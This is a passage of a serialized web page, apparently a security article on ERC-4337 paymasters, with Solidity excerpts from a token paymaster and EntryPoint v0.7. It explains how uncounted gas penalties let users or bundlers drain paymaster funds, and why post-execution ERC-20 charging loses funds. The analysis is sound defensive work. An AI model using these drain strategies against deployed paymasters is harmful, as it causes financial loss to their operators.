cachedPriceWithMarkup);\n",{"type":24,"tag":83,"props":103685,"children":103686},{"class":85,"line":32019},[103687,103691,103696,103700],{"type":24,"tag":83,"props":103688,"children":103689},{"style":117},[103690],{"type":29,"value":58515},{"type":24,"tag":83,"props":103692,"children":103693},{"style":107},[103694],{"type":29,"value":103695}," (preCharge ",{"type":24,"tag":83,"props":103697,"children":103698},{"style":143},[103699],{"type":29,"value":10209},{"type":24,"tag":83,"props":103701,"children":103702},{"style":107},[103703],{"type":29,"value":103704}," actualTokenNeeded) {\n",{"type":24,"tag":83,"props":103706,"children":103707},{"class":85,"line":32040},[103708],{"type":24,"tag":83,"props":103709,"children":103710},{"style":2735},[103711],{"type":29,"value":103712},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":24,"tag":83,"props":103714,"children":103715},{"class":85,"line":80665},[103716,103721,103726,103731,103735],{"type":24,"tag":83,"props":103717,"children":103718},{"style":107},[103719],{"type":29,"value":103720},"                SafeERC20.",{"type":24,"tag":83,"props":103722,"children":103723},{"style":101},[103724],{"type":29,"value":103725},"safeTransfer",{"type":24,"tag":83,"props":103727,"children":103728},{"style":107},[103729],{"type":29,"value":103730},"(token, userOpSender, preCharge ",{"type":24,"tag":83,"props":103732,"children":103733},{"style":143},[103734],{"type":29,"value":4072},{"type":24,"tag":83,"props":103736,"children":103737},{"style":107},[103738],{"type":29,"value":103739}," actualTokenNeeded);\n",{"type":24,"tag":83,"props":103741,"children":103742},{"class":85,"line":80678},[103743,103747,103751,103755,103759,103763],{"type":24,"tag":83,"props":103744,"children":103745},{"style":107},[103746],{"type":29,"value":70309},{"type":24,"tag":83,"props":103748,"children":103749},{"style":117},[103750],{"type":29,"value":378},{"type":24,"tag":83,"props":103752,"children":103753},{"style":117},[103754],{"type":29,"value":383},{"type":24,"tag":83,"props":103756,"children":103757},{"style":107},[103758],{"type":29,"value":103695},{"type":24,"tag":83,"props":103760,"children":103761},{"style":143},[103762],{"type":29,"value":5552},{"type":24,"tag":83,"props":103764,"children":103765},{"style":107},[103766],{"type":29,"value":103704},{"type":24,"tag":83,"props":103768,"children":103769},{"class":85,"line":80686},[103770],{"type":24,"tag":83,"props":103771,"children":103772},{"style":2735},[103773],{"type":29,"value":103774},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":24,"tag":83,"props":103776,"children":103777},{"class":85,"line":80694},[103778],{"type":24,"tag":83,"props":103779,"children":103780},{"style":2735},[103781],{"type":29,"value":103782},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":24,"tag":83,"props":103784,"children":103785},{"class":85,"line":80702},[103786,103790,103794,103799,103803,103807,103811,103816,103820],{"type":24,"tag":83,"props":103787,"children":103788},{"style":107},[103789],{"type":29,"value":103720},{"type":24,"tag":83,"props":103791,"children":103792},{"style":101},[103793],{"type":29,"value":103171},{"type":24,"tag":83,"props":103795,"children":103796},{"style":107},[103797],{"type":29,"value":103798},"(token, userOpSender, ",{"type":24,"tag":83,"props":103800,"children":103801},{"style":3163},[103802],{"type":29,"value":32379},{"type":24,"tag":83,"props":103804,"children":103805},{"style":107},[103806],{"type":29,"value":558},{"type":24,"tag":83,"props":103808,"children":103809},{"style":90},[103810],{"type":29,"value":563},{"type":24,"tag":83,"props":103812,"children":103813},{"style":107},[103814],{"type":29,"value":103815},"), actualTokenNeeded ",{"type":24,"tag":83,"props":103817,"children":103818},{"style":143},[103819],{"type":29,"value":4072},{"type":24,"tag":83,"props":103821,"children":103822},{"style":107},[103823],{"type":29,"value":103824}," preCharge);\n",{"type":24,"tag":83,"props":103826,"children":103827},{"class":85,"line":80742},[103828],{"type":24,"tag":83,"props":103829,"children":103830},{"style":107},[103831],{"type":29,"value":58599},{"type":24,"tag":83,"props":103833,"children":103834},{"class":85,"line":80750},[103835],{"type":24,"tag":83,"props":103836,"children":103837},{"emptyLinePlaceholder":16},[103838],{"type":29,"value":3422},{"type":24,"tag":83,"props":103840,"children":103841},{"class":85,"line":87936},[103842,103846,103851,103855,103859],{"type":24,"tag":83,"props":103843,"children":103844},{"style":117},[103845],{"type":29,"value":58515},{"type":24,"tag":83,"props":103847,"children":103848},{"style":107},[103849],{"type":29,"value":103850}," (baseFee ",{"type":24,"tag":83,"props":103852,"children":103853},{"style":143},[103854],{"type":29,"value":10209},{"type":24,"tag":83,"props":103856,"children":103857},{"style":245},[103858],{"type":29,"value":248},{"type":24,"tag":83,"props":103860,"children":103861},{"style":107},[103862],{"type":29,"value":253},{"type":24,"tag":83,"props":103864,"children":103865},{"class":85,"line":87944},[103866,103870,103874],{"type":24,"tag":83,"props":103867,"children":103868},{"style":107},[103869],{"type":29,"value":103720},{"type":24,"tag":83,"props":103871,"children":103872},{"style":101},[103873],{"type":29,"value":103725},{"type":24,"tag":83,"props":103875,"children":103876},{"style":107},[103877],{"type":29,"value":103878},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":24,"tag":83,"props":103880,"children":103881},{"class":85,"line":101110},[103882],{"type":24,"tag":83,"props":103883,"children":103884},{"style":107},[103885],{"type":29,"value":58599},{"type":24,"tag":83,"props":103887,"children":103888},{"class":85,"line":101118},[103889],{"type":24,"tag":83,"props":103890,"children":103891},{"emptyLinePlaceholder":16},[103892],{"type":29,"value":3422},{"type":24,"tag":83,"props":103894,"children":103895},{"class":85,"line":101126},[103896,103901,103906],{"type":24,"tag":83,"props":103897,"children":103898},{"style":117},[103899],{"type":29,"value":103900},"            emit",{"type":24,"tag":83,"props":103902,"children":103903},{"style":101},[103904],{"type":29,"value":103905}," UserOperationSponsored",{"type":24,"tag":83,"props":103907,"children":103908},{"style":107},[103909],{"type":29,"value":103910},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":24,"tag":83,"props":103912,"children":103913},{"class":85,"line":101134},[103914,103919],{"type":24,"tag":83,"props":103915,"children":103916},{"style":101},[103917],{"type":29,"value":103918},"            refillEntryPointDeposit",{"type":24,"tag":83,"props":103920,"children":103921},{"style":107},[103922],{"type":29,"value":103923},"(_cachedPrice);\n",{"type":24,"tag":83,"props":103925,"children":103926},{"class":85,"line":101162},[103927],{"type":24,"tag":83,"props":103928,"children":103929},{"style":107},[103930],{"type":29,"value":3092},{"type":24,"tag":83,"props":103932,"children":103934},{"class":85,"line":103933},67,[103935],{"type":24,"tag":83,"props":103936,"children":103937},{"style":107},[103938],{"type":29,"value":446},{"type":24,"tag":83,"props":103940,"children":103942},{"class":85,"line":103941},68,[103943],{"type":24,"tag":83,"props":103944,"children":103945},{"style":107},[103946],{"type":29,"value":464},{"type":24,"tag":25,"props":103948,"children":103949},{},[103950,103952,103958,103960,103965,103967,103973],{"type":29,"value":103951},"Looking at the code above, during ",{"type":24,"tag":32,"props":103953,"children":103955},{"className":103954},[],[103956],{"type":29,"value":103957},"validatePaymasterUserOp",{"type":29,"value":103959},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":24,"tag":32,"props":103961,"children":103963},{"className":103962},[],[103964],{"type":29,"value":102016},{"type":29,"value":103966}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":24,"tag":32,"props":103968,"children":103970},{"className":103969},[],[103971],{"type":29,"value":103972},"postOp",{"type":29,"value":103974},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":24,"tag":25,"props":103976,"children":103977},{},[103978,103980,103985,103987,103994],{"type":29,"value":103979},"However, there is a critical oversight: ",{"type":24,"tag":2040,"props":103981,"children":103982},{},[103983],{"type":29,"value":103984},"the code does not account for gas penalties",{"type":29,"value":103986},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":24,"tag":2033,"props":103988,"children":103991},{"href":103989,"rel":103990},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[2037],[103992],{"type":29,"value":103993},"penalties incurred",{"type":29,"value":103995}," from differences between the execution gas limit and actual execution gas.",{"type":24,"tag":25,"props":103997,"children":103998},{},[103999],{"type":29,"value":104000},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":24,"tag":25,"props":104002,"children":104003},{},[104004,104006,104011],{"type":29,"value":104005},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":24,"tag":32,"props":104007,"children":104009},{"className":104008},[],[104010],{"type":29,"value":101715},{"type":29,"value":104012}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":24,"tag":51,"props":104014,"children":104016},{"id":104015},"incorrect-erc-20-handling",[104017],{"type":24,"tag":2040,"props":104018,"children":104019},{},[104020],{"type":29,"value":104021},"Incorrect ERC-20 Handling",{"type":24,"tag":25,"props":104023,"children":104024},{},[104025],{"type":29,"value":104026},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":24,"tag":25,"props":104028,"children":104029},{},[104030,104031,104036,104038,104043],{"type":29,"value":45015},{"type":24,"tag":32,"props":104032,"children":104034},{"className":104033},[],[104035],{"type":29,"value":101796},{"type":29,"value":104037}," flow above, we can see that paymasters have two key interaction points during a ",{"type":24,"tag":32,"props":104039,"children":104041},{"className":104040},[],[104042],{"type":29,"value":101715},{"type":29,"value":104044},"'s lifecycle:",{"type":24,"tag":63,"props":104046,"children":104047},{},[104048,104058],{"type":24,"tag":67,"props":104049,"children":104050},{},[104051,104053],{"type":29,"value":104052},"During validation via ",{"type":24,"tag":32,"props":104054,"children":104056},{"className":104055},[],[104057],{"type":29,"value":101903},{"type":24,"tag":67,"props":104059,"children":104060},{},[104061,104063],{"type":29,"value":104062},"After execution via ",{"type":24,"tag":32,"props":104064,"children":104066},{"className":104065},[],[104067],{"type":29,"value":101914},{"type":24,"tag":25,"props":104069,"children":104070},{},[104071],{"type":29,"value":104072},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":24,"tag":1818,"props":104074,"children":104076},{"id":104075},"_1-pre-payment-with-refund-pattern",[104077],{"type":29,"value":104078},"1. Pre-Payment with Refund Pattern",{"type":24,"tag":25,"props":104080,"children":104081},{},[104082,104084,104089,104091,104096,104098,104104,104105,104111,104113,104118,104120,104125,104127,104132],{"type":29,"value":104083},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":24,"tag":32,"props":104085,"children":104087},{"className":104086},[],[104088],{"type":29,"value":101903},{"type":29,"value":104090},". After execution completes, ",{"type":24,"tag":32,"props":104092,"children":104094},{"className":104093},[],[104095],{"type":29,"value":101914},{"type":29,"value":104097}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":24,"tag":32,"props":104099,"children":104101},{"className":104100},[],[104102],{"type":29,"value":104103},"SEND",{"type":29,"value":2287},{"type":24,"tag":32,"props":104106,"children":104108},{"className":104107},[],[104109],{"type":29,"value":104110},"Circle",{"type":29,"value":104112}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":24,"tag":32,"props":104114,"children":104116},{"className":104115},[],[104117],{"type":29,"value":101744},{"type":29,"value":104119},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":24,"tag":2040,"props":104121,"children":104122},{},[104123],{"type":29,"value":104124},"before",{"type":29,"value":104126}," execution (specifically during ",{"type":24,"tag":32,"props":104128,"children":104130},{"className":104129},[],[104131],{"type":29,"value":103957},{"type":29,"value":2554},{"type":24,"tag":1818,"props":104134,"children":104136},{"id":104135},"_2-post-execution-charging-pattern",[104137],{"type":29,"value":104138},"2. Post-Execution Charging Pattern",{"type":24,"tag":25,"props":104140,"children":104141},{},[104142,104144,104149,104151,104156,104158,104163,104165,104170],{"type":29,"value":104143},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":24,"tag":32,"props":104145,"children":104147},{"className":104146},[],[104148],{"type":29,"value":101903},{"type":29,"value":104150},", the actual token payment is calculated and collected in ",{"type":24,"tag":32,"props":104152,"children":104154},{"className":104153},[],[104155],{"type":29,"value":101914},{"type":29,"value":104157}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":24,"tag":32,"props":104159,"children":104161},{"className":104160},[],[104162],{"type":29,"value":101715},{"type":29,"value":104164},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":24,"tag":32,"props":104166,"children":104168},{"className":104167},[],[104169],{"type":29,"value":102016},{"type":29,"value":104171},". This means users could interact with the paymaster without any prior setup.",{"type":24,"tag":25,"props":104173,"children":104174},{},[104175,104177,104182,104184,104190,104192,104198,104200,104205],{"type":29,"value":104176},"This approach used to work in ",{"type":24,"tag":32,"props":104178,"children":104180},{"className":104179},[],[104181],{"type":29,"value":101796},{"type":29,"value":104183}," version ",{"type":24,"tag":32,"props":104185,"children":104187},{"className":104186},[],[104188],{"type":29,"value":104189},"v0.6",{"type":29,"value":104191},", but the pattern no longer works in ",{"type":24,"tag":32,"props":104193,"children":104195},{"className":104194},[],[104196],{"type":29,"value":104197},"v0.7",{"type":29,"value":104199},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":24,"tag":32,"props":104201,"children":104203},{"className":104202},[],[104204],{"type":29,"value":104197},{"type":29,"value":104206}," handles the execution phase:",{"type":24,"tag":73,"props":104208,"children":104210},{"className":4220,"code":104209,"language":4219,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[104211],{"type":24,"tag":32,"props":104212,"children":104213},{"__ignoreMap":7},[104214,104230,104246,104266,104283,104290,104303,104327,104335,104348,104355,104362,104383,104422,104459,104471,104478,104514,104521,104542,104631,104660,104667,104680,104687,104707,104714,104735,104743,104751,104778,104806,104814,104857,104877,104890,104912,104928,104943,104950,104970,104978,104986,104994,105002,105010,105017,105024],{"type":24,"tag":83,"props":104215,"children":104216},{"class":85,"line":86},[104217,104221,104226],{"type":24,"tag":83,"props":104218,"children":104219},{"style":90},[104220],{"type":29,"value":89544},{"type":24,"tag":83,"props":104222,"children":104223},{"style":101},[104224],{"type":29,"value":104225}," _executeUserOp",{"type":24,"tag":83,"props":104227,"children":104228},{"style":107},[104229],{"type":29,"value":3208},{"type":24,"tag":83,"props":104231,"children":104232},{"class":85,"line":113},[104233,104237,104242],{"type":24,"tag":83,"props":104234,"children":104235},{"style":3163},[104236],{"type":29,"value":89722},{"type":24,"tag":83,"props":104238,"children":104239},{"style":137},[104240],{"type":29,"value":104241}," opIndex",{"type":24,"tag":83,"props":104243,"children":104244},{"style":107},[104245],{"type":29,"value":989},{"type":24,"tag":83,"props":104247,"children":104248},{"class":85,"line":128},[104249,104254,104258,104262],{"type":24,"tag":83,"props":104250,"children":104251},{"style":90},[104252],{"type":29,"value":104253},"        PackedUserOperation",{"type":24,"tag":83,"props":104255,"children":104256},{"style":90},[104257],{"type":29,"value":102545},{"type":24,"tag":83,"props":104259,"children":104260},{"style":137},[104261],{"type":29,"value":102550},{"type":24,"tag":83,"props":104263,"children":104264},{"style":107},[104265],{"type":29,"value":989},{"type":24,"tag":83,"props":104267,"children":104268},{"class":85,"line":183},[104269,104274,104278],{"type":24,"tag":83,"props":104270,"children":104271},{"style":90},[104272],{"type":29,"value":104273},"        UserOpInfo",{"type":24,"tag":83,"props":104275,"children":104276},{"style":90},[104277],{"type":29,"value":102613},{"type":24,"tag":83,"props":104279,"children":104280},{"style":137},[104281],{"type":29,"value":104282}," opInfo\n",{"type":24,"tag":83,"props":104284,"children":104285},{"class":85,"line":203},[104286],{"type":24,"tag":83,"props":104287,"children":104288},{"style":107},[104289],{"type":29,"value":23669},{"type":24,"tag":83,"props":104291,"children":104292},{"class":85,"line":212},[104293,104298],{"type":24,"tag":83,"props":104294,"children":104295},{"style":90},[104296],{"type":29,"value":104297},"    internal",{"type":24,"tag":83,"props":104299,"children":104300},{"style":90},[104301],{"type":29,"value":104302}," virtual\n",{"type":24,"tag":83,"props":104304,"children":104305},{"class":85,"line":256},[104306,104310,104314,104318,104323],{"type":24,"tag":83,"props":104307,"children":104308},{"style":117},[104309],{"type":29,"value":46228},{"type":24,"tag":83,"props":104311,"children":104312},{"style":107},[104313],{"type":29,"value":223},{"type":24,"tag":83,"props":104315,"children":104316},{"style":3163},[104317],{"type":29,"value":45887},{"type":24,"tag":83,"props":104319,"children":104320},{"style":137},[104321],{"type":29,"value":104322}," collected",{"type":24,"tag":83,"props":104324,"children":104325},{"style":107},[104326],{"type":29,"value":253},{"type":24,"tag":83,"props":104328,"children":104329},{"class":85,"line":270},[104330],{"type":24,"tag":83,"props":104331,"children":104332},{"style":107},[104333],{"type":29,"value":104334},"    [...]\n",{"type":24,"tag":83,"props":104336,"children":104337},{"class":85,"line":302},[104338,104343],{"type":24,"tag":83,"props":104339,"children":104340},{"style":3163},[104341],{"type":29,"value":104342},"        bool",{"type":24,"tag":83,"props":104344,"children":104345},{"style":107},[104346],{"type":29,"value":104347}," success;\n",{"type":24,"tag":83,"props":104349,"children":104350},{"class":85,"line":324},[104351],{"type":24,"tag":83,"props":104352,"children":104353},{"style":107},[104354],{"type":29,"value":31400},{"type":24,"tag":83,"props":104356,"children":104357},{"class":85,"line":345},[104358],{"type":24,"tag":83,"props":104359,"children":104360},{"style":107},[104361],{"type":29,"value":104334},{"type":24,"tag":83,"props":104363,"children":104364},{"class":85,"line":358},[104365,104369,104374,104378],{"type":24,"tag":83,"props":104366,"children":104367},{"style":117},[104368],{"type":29,"value":58515},{"type":24,"tag":83,"props":104370,"children":104371},{"style":107},[104372],{"type":29,"value":104373}," (methodSig ",{"type":24,"tag":83,"props":104375,"children":104376},{"style":143},[104377],{"type":29,"value":8320},{"type":24,"tag":83,"props":104379,"children":104380},{"style":107},[104381],{"type":29,"value":104382}," IAccountExecute.executeUserOp.selector) {\n",{"type":24,"tag":83,"props":104384,"children":104385},{"class":85,"line":367},[104386,104391,104395,104400,104404,104408,104412,104417],{"type":24,"tag":83,"props":104387,"children":104388},{"style":3163},[104389],{"type":29,"value":104390},"                bytes",{"type":24,"tag":83,"props":104392,"children":104393},{"style":90},[104394],{"type":29,"value":102613},{"type":24,"tag":83,"props":104396,"children":104397},{"style":107},[104398],{"type":29,"value":104399}," executeUserOp ",{"type":24,"tag":83,"props":104401,"children":104402},{"style":143},[104403],{"type":29,"value":1275},{"type":24,"tag":83,"props":104405,"children":104406},{"style":90},[104407],{"type":29,"value":103210},{"type":24,"tag":83,"props":104409,"children":104410},{"style":107},[104411],{"type":29,"value":161},{"type":24,"tag":83,"props":104413,"children":104414},{"style":101},[104415],{"type":29,"value":104416},"encodeCall",{"type":24,"tag":83,"props":104418,"children":104419},{"style":107},[104420],{"type":29,"value":104421},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":24,"tag":83,"props":104423,"children":104424},{"class":85,"line":406},[104425,104430,104434,104438,104442,104446,104450,104454],{"type":24,"tag":83,"props":104426,"children":104427},{"style":107},[104428],{"type":29,"value":104429},"                innerCall ",{"type":24,"tag":83,"props":104431,"children":104432},{"style":143},[104433],{"type":29,"value":1275},{"type":24,"tag":83,"props":104435,"children":104436},{"style":90},[104437],{"type":29,"value":103210},{"type":24,"tag":83,"props":104439,"children":104440},{"style":107},[104441],{"type":29,"value":161},{"type":24,"tag":83,"props":104443,"children":104444},{"style":101},[104445],{"type":29,"value":104416},{"type":24,"tag":83,"props":104447,"children":104448},{"style":107},[104449],{"type":29,"value":558},{"type":24,"tag":83,"props":104451,"children":104452},{"style":90},[104453],{"type":29,"value":563},{"type":24,"tag":83,"props":104455,"children":104456},{"style":107},[104457],{"type":29,"value":104458},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":24,"tag":83,"props":104460,"children":104461},{"class":85,"line":427},[104462,104466],{"type":24,"tag":83,"props":104463,"children":104464},{"style":107},[104465],{"type":29,"value":70309},{"type":24,"tag":83,"props":104467,"children":104468},{"style":117},[104469],{"type":29,"value":104470},"else\n",{"type":24,"tag":83,"props":104472,"children":104473},{"class":85,"line":440},[104474],{"type":24,"tag":83,"props":104475,"children":104476},{"style":107},[104477],{"type":29,"value":31436},{"type":24,"tag":83,"props":104479,"children":104480},{"class":85,"line":449},[104481,104485,104489,104493,104497,104501,104505,104509],{"type":24,"tag":83,"props":104482,"children":104483},{"style":107},[104484],{"type":29,"value":104429},{"type":24,"tag":83,"props":104486,"children":104487},{"style":143},[104488],{"type":29,"value":1275},{"type":24,"tag":83,"props":104490,"children":104491},{"style":90},[104492],{"type":29,"value":103210},{"type":24,"tag":83,"props":104494,"children":104495},{"style":107},[104496],{"type":29,"value":161},{"type":24,"tag":83,"props":104498,"children":104499},{"style":101},[104500],{"type":29,"value":104416},{"type":24,"tag":83,"props":104502,"children":104503},{"style":107},[104504],{"type":29,"value":558},{"type":24,"tag":83,"props":104506,"children":104507},{"style":90},[104508],{"type":29,"value":563},{"type":24,"tag":83,"props":104510,"children":104511},{"style":107},[104512],{"type":29,"value":104513},".innerHandleOp, (callData, opInfo, context));\n",{"type":24,"tag":83,"props":104515,"children":104516},{"class":85,"line":458},[104517],{"type":24,"tag":83,"props":104518,"children":104519},{"style":107},[104520],{"type":29,"value":58599},{"type":24,"tag":83,"props":104522,"children":104523},{"class":85,"line":1065},[104524,104529,104533,104538],{"type":24,"tag":83,"props":104525,"children":104526},{"style":101},[104527],{"type":29,"value":104528},"            assembly",{"type":24,"tag":83,"props":104530,"children":104531},{"style":107},[104532],{"type":29,"value":223},{"type":24,"tag":83,"props":104534,"children":104535},{"style":187},[104536],{"type":29,"value":104537},"\"memory-safe\"",{"type":24,"tag":83,"props":104539,"children":104540},{"style":107},[104541],{"type":29,"value":253},{"type":24,"tag":83,"props":104543,"children":104544},{"class":85,"line":1668},[104545,104550,104554,104558,104562,104567,104571,104575,104579,104583,104587,104591,104596,104601,104605,104610,104615,104619,104623,104627],{"type":24,"tag":83,"props":104546,"children":104547},{"style":107},[104548],{"type":29,"value":104549},"                success ",{"type":24,"tag":83,"props":104551,"children":104552},{"style":143},[104553],{"type":29,"value":21347},{"type":24,"tag":83,"props":104555,"children":104556},{"style":101},[104557],{"type":29,"value":40678},{"type":24,"tag":83,"props":104559,"children":104560},{"style":107},[104561],{"type":29,"value":558},{"type":24,"tag":83,"props":104563,"children":104564},{"style":101},[104565],{"type":29,"value":104566},"gas",{"type":24,"tag":83,"props":104568,"children":104569},{"style":107},[104570],{"type":29,"value":18112},{"type":24,"tag":83,"props":104572,"children":104573},{"style":3163},[104574],{"type":29,"value":32379},{"type":24,"tag":83,"props":104576,"children":104577},{"style":107},[104578],{"type":29,"value":18112},{"type":24,"tag":83,"props":104580,"children":104581},{"style":245},[104582],{"type":29,"value":1166},{"type":24,"tag":83,"props":104584,"children":104585},{"style":107},[104586],{"type":29,"value":568},{"type":24,"tag":83,"props":104588,"children":104589},{"style":101},[104590],{"type":29,"value":9384},{"type":24,"tag":83,"props":104592,"children":104593},{"style":107},[104594],{"type":29,"value":104595},"(innerCall, ",{"type":24,"tag":83,"props":104597,"children":104598},{"style":245},[104599],{"type":29,"value":104600},"0x20",{"type":24,"tag":83,"props":104602,"children":104603},{"style":107},[104604],{"type":29,"value":14918},{"type":24,"tag":83,"props":104606,"children":104607},{"style":101},[104608],{"type":29,"value":104609},"mload",{"type":24,"tag":83,"props":104611,"children":104612},{"style":107},[104613],{"type":29,"value":104614},"(innerCall), ",{"type":24,"tag":83,"props":104616,"children":104617},{"style":245},[104618],{"type":29,"value":1166},{"type":24,"tag":83,"props":104620,"children":104621},{"style":107},[104622],{"type":29,"value":568},{"type":24,"tag":83,"props":104624,"children":104625},{"style":245},[104626],{"type":29,"value":60061},{"type":24,"tag":83,"props":104628,"children":104629},{"style":107},[104630],{"type":29,"value":2905},{"type":24,"tag":83,"props":104632,"children":104633},{"class":85,"line":1713},[104634,104639,104643,104648,104652,104656],{"type":24,"tag":83,"props":104635,"children":104636},{"style":107},[104637],{"type":29,"value":104638},"                collected ",{"type":24,"tag":83,"props":104640,"children":104641},{"style":143},[104642],{"type":29,"value":21347},{"type":24,"tag":83,"props":104644,"children":104645},{"style":101},[104646],{"type":29,"value":104647}," mload",{"type":24,"tag":83,"props":104649,"children":104650},{"style":107},[104651],{"type":29,"value":558},{"type":24,"tag":83,"props":104653,"children":104654},{"style":245},[104655],{"type":29,"value":1166},{"type":24,"tag":83,"props":104657,"children":104658},{"style":107},[104659],{"type":29,"value":2905},{"type":24,"tag":83,"props":104661,"children":104662},{"class":85,"line":1730},[104663],{"type":24,"tag":83,"props":104664,"children":104665},{"style":107},[104666],{"type":29,"value":58599},{"type":24,"tag":83,"props":104668,"children":104669},{"class":85,"line":1770},[104670,104675],{"type":24,"tag":83,"props":104671,"children":104672},{"style":101},[104673],{"type":29,"value":104674},"            _restoreFreePtr",{"type":24,"tag":83,"props":104676,"children":104677},{"style":107},[104678],{"type":29,"value":104679},"(saveFreePtr);\n",{"type":24,"tag":83,"props":104681,"children":104682},{"class":85,"line":1778},[104683],{"type":24,"tag":83,"props":104684,"children":104685},{"style":107},[104686],{"type":29,"value":3092},{"type":24,"tag":83,"props":104688,"children":104689},{"class":85,"line":1803},[104690,104694,104698,104702],{"type":24,"tag":83,"props":104691,"children":104692},{"style":117},[104693],{"type":29,"value":3018},{"type":24,"tag":83,"props":104695,"children":104696},{"style":107},[104697],{"type":29,"value":223},{"type":24,"tag":83,"props":104699,"children":104700},{"style":143},[104701],{"type":29,"value":20362},{"type":24,"tag":83,"props":104703,"children":104704},{"style":107},[104705],{"type":29,"value":104706},"success) {\n",{"type":24,"tag":83,"props":104708,"children":104709},{"class":85,"line":1811},[104710],{"type":24,"tag":83,"props":104711,"children":104712},{"style":107},[104713],{"type":29,"value":104334},{"type":24,"tag":83,"props":104715,"children":104716},{"class":85,"line":8792},[104717,104721,104726,104730],{"type":24,"tag":83,"props":104718,"children":104719},{"style":117},[104720],{"type":29,"value":58515},{"type":24,"tag":83,"props":104722,"children":104723},{"style":107},[104724],{"type":29,"value":104725}," (innerRevertCode ",{"type":24,"tag":83,"props":104727,"children":104728},{"style":143},[104729],{"type":29,"value":8320},{"type":24,"tag":83,"props":104731,"children":104732},{"style":107},[104733],{"type":29,"value":104734}," INNER_OUT_OF_GAS) {\n",{"type":24,"tag":83,"props":104736,"children":104737},{"class":85,"line":8810},[104738],{"type":24,"tag":83,"props":104739,"children":104740},{"style":2735},[104741],{"type":29,"value":104742},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":24,"tag":83,"props":104744,"children":104745},{"class":85,"line":8855},[104746],{"type":24,"tag":83,"props":104747,"children":104748},{"style":2735},[104749],{"type":29,"value":104750},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":24,"tag":83,"props":104752,"children":104753},{"class":85,"line":8961},[104754,104759,104764,104769,104774],{"type":24,"tag":83,"props":104755,"children":104756},{"style":117},[104757],{"type":29,"value":104758},"                revert",{"type":24,"tag":83,"props":104760,"children":104761},{"style":101},[104762],{"type":29,"value":104763}," FailedOp",{"type":24,"tag":83,"props":104765,"children":104766},{"style":107},[104767],{"type":29,"value":104768},"(opIndex, ",{"type":24,"tag":83,"props":104770,"children":104771},{"style":187},[104772],{"type":29,"value":104773},"\"AA95 out of 